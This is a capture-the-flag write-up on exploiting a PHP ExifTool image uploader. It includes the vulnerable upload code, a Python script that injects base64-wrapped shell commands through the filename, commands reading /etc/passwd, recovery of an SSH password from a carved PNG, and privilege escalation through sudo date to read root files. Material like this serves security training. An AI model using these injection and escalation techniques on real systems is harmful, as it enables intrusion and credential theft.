Чилиец (Chiliets)
Чилиец (Chiliets)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-03 | Status: Solved Techniques: filename_command_injection, extension_validation_bypass, base64_wrapped_payload, web_static_dir_exfiltration, png_text_recovery, http_request_forensics, sudo_date_arbitrary_read
Summary
Task: PHP ExifTool image-upload service that interpolates the multipart filename into shell_exec with extension-only validation. Solution: OS command injection via base64-wrapped filename payload, exfiltrate via web static dir, recover SSH password rendered inside a carved PNG, then privesc with sudo NOPASSWD /usr/bin/date (GTFOBins arbitrary file read) to read both flag parts.
Чилиец (Chiliets) — hackerlab
Description
В середине нашей жизненной дороги попал я в мрачный, незнакомый лес, где путь терялся в темном логе
(Russian, the opening of Dante's Inferno — pure flavor, no technical hint.)
A web service on port 29100 presents an "ExifTool" image uploader (Apache + PHP). SSH is exposed on port 29122 (OpenSSH 8.9p1 Ubuntu). The goal is to chain web RCE into SSH access and root to recover a flag split across two files.
Analysis
Recon
- 29100 — Apache/PHP app titled "Exiftool". A single-page uploader; JS posts a
multipart form (field
file) to/. The server runsexiftoolon the uploaded file and returns JSON{"success":true,"data":"<exiftool output>"}. A benign JPEG returnsExifTool Version Number : 12.40. - 29122 — OpenSSH (
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7).
Dead end: CVE-2021-22204 (ExifTool DjVu RCE) — DO NOT waste time here
ExifTool 12.40 is patched (the DjVu eval fix landed in 12.24). A DjVu polyglot
was built via the classic HasselbladExif tag technique (bzz + djvumake +
exiftool -config) and uploaded. The payload parsed (DjVu Version : 0.24) but
produced Warning: Ignored invalid metadata entry(s), and a blind sleep 6 timing
test showed no delay → the eval never fired. CVE-2021-22204 is killed by version
alone — confirm the version before attempting it.
Real vulnerability: OS command injection via the multipart filename
Leaked index.php confirmed the bug:
php read-only • copy allowed$fileExt = explode('.', $fileName); $fileActualExt = strtolower(end($fileExt)); $allowed = array('jpg','jpeg','png','gif'); if (in_array($fileActualExt, $allowed)) { $fileDestination = 'uploads/' . $fileName; move_uploaded_file($fileTmpName, $fileDestination); $exiftoolResult = shell_exec("cd uploads; exiftool $fileName"); echo json_encode(array('success'=>true,'data'=>$exiftoolResult)); }
The multipart filename is interpolated unsanitized into
shell_exec("cd uploads; exiftool $fileName"). Validation only checks the final
extension (explode('.', ...) + end()), so any filename that ends in .jpg
but also contains shell metacharacters passes.
Detection oracle: filename $(id)x.jpg returned
0 image files read / 3 files could not be read — the id output expanded into 3
space-separated tokens, becoming 3 exiftool args. Command substitution executes.
Solution
1. Command injection via filename
Spaces, quotes, and = break the extension validation, so wrap the whole command in
base64 and decode it inside the substitution:
filename = $(echo <BASE64_CMD>|base64 -d|sh)x.jpg
The app's exiftool only echoes metadata of the saved file, so reading via extra args
fails for output. Instead, the injected command writes output into the web-served
static dir /var/www/html/static/ (URL /static/), then we fetch it over HTTP.
Blind sleep timing also works for confirmation.
python read-only • copy allowed#!/usr/bin/env python3 # Command injection via multipart filename on the ExifTool uploader. import base64, requests URL = "http://62.173.140.174:29100/" STATIC = "http://62.173.140.174:29100/static/" def run(cmd, out="o.txt"): # write command output into the web-served static dir, then fetch it full = f"({cmd}) > /var/www/html/static/{out} 2>&1" b64 = base64.b64encode(full.encode()).decode() fname = f"$(echo {b64}|base64 -d|sh)x.jpg" files = {"file": (fname, b"\xff\xd8\xff\xe0JFIF dummy", "image/jpeg")} requests.post(URL, files=files) return requests.get(STATIC + out).text print(run("id")) # uid=33(www-data) print(run("cat /etc/passwd")) # reveals gustavo:...:/home/gustavo:/bin/sh print(run("ls -la /home/gustavo"))
2. Recon as www-data
id→uid=33(www-data); inside a container (/.dockerenv, HOSTNAME 69589c8e0abc)./etc/passwd→ usergustavo:x:1000:1000::/home/gustavo:/bin/sh./home/gustavocontained:first_part— 17 bytes,-r--------owned by gustavo (flag part 1, not readable by www-data)..saved_request— 9118 bytes, world-readable (-rwxrwxrwx), a captured raw HTTP POST that uploadedgustavo.png.
3. Credential recovery from a PNG inside the saved HTTP request
python read-only • copy allowed#!/usr/bin/env python3 # Carve the PNG out of the captured multipart request and render it. data = run("cat /home/gustavo/.saved_request") # or fetch the saved bytes raw = open("saved_request.bin", "rb").read() start = raw.index(b"\x89PNG") end = raw.index(b"IEND") + 8 open("gustavo.png", "wb").write(raw[start:end]) # Open gustavo.png — a 2041x221 RGB image with the text: fr1ng4ever
The carved PNG (2041x221 RGB) renders the text fr1ng4ever — gustavo's SSH password.
4. SSH + privilege escalation (GTFOBins date)
bash read-only • copy allowedsshpass -p 'fr1ng4ever' ssh -p 29122 gustavo@62.173.140.174 # as gustavo: cat ~/first_part # CODEBY{1T_W4S_4_ sudo -l # (ALL) NOPASSWD: /usr/bin/date
GTFOBins: sudo /usr/bin/date -f <file> reads any file as root, printing each line
as date: invalid date '<line>'. Probe for the second part:
bash read-only • copy allowedsudo /usr/bin/date -f /root/last_part # date: invalid date 'REDACTED}'
5. Assemble the flag
first_part CODEBY{1T_W4S_4_ + last_part REDACTED} =
CODEBY{REDACTED}.